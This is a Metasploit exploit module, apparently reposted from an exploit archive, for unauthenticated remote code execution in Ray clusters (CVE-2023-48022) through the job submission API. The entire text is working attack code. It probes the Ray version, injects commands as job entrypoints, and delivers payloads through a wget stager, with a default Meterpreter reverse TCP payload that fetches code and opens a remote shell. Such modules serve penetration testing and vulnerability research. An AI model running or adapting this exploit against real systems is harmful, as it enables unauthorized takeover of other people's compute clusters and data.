Share
## https://sploitus.com/exploit?id=1337DAY-ID-39734
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ray Agent Job RCE',
        'Description' => %q{
          RCE in Ray via the agent job submission endpoint.
          This is intended functionality as Ray's main purpose is executing arbitrary workloads.
          By default Ray has no authentication.
        },
        'Author' => [
          'sierrabearchell',                      # Vulnerability discovery
          'byt3bl33d3r <[email protected]>', # Python Metasploit module
          'Takahiro Yokoyama'                     # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2023-48022'],
          ['URL', 'https://huntr.com/bounties/b507a6a0-c61a-4508-9101-fceb572b0385/'],
          ['URL', 'https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/']
        ],
        'CmdStagerFlavor' => %i[wget],
        'Payload' => {
          'DisableNops' => true
        },
        'Platform' => %w[linux],
        'Targets' => [
          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
          [ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ],
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
                'FETCH_COMMAND' => 'WGET',
                'MeterpreterTryToFork' => true
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-11-15',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8265),
      ]
    )
  end

  def get_job_data(cmd)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/jobs/'),
      'data' => { 'entrypoint' => cmd }.to_json
    })
    unless res && res.code == 200
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'api/job_agent/jobs/'),
        'data' => { 'entrypoint' => cmd }.to_json
      })
    end
    return unless res && res.code == 200

    JSON.parse(res.body)
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/version')
    })
    return Exploit::CheckCode::Unknown unless res && res.code == 200

    ray_version = res.get_json_document['ray_version']

    return Exploit::CheckCode::Unknown unless ray_version

    return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3')

    @job_data = get_job_data('ls')
    return Exploit::CheckCode::Vulnerable unless @job_data.nil?

    Exploit::CheckCode::Appears
  end

  def exploit
    @job_data ||= get_job_data('ls')
    if @job_data
      print_good("Command execution successful. Job ID: '#{@job_data['job_id']}' Submission ID: '#{@job_data['submission_id']}'")
    end
    case target['Type']
    when :nix_cmd
      execute_command(payload.encoded)
    else
      execute_cmdstager({ flavor: :wget })
    end
  end

  def execute_command(cmd, _opts = {})
    get_job_data(cmd)
  end

end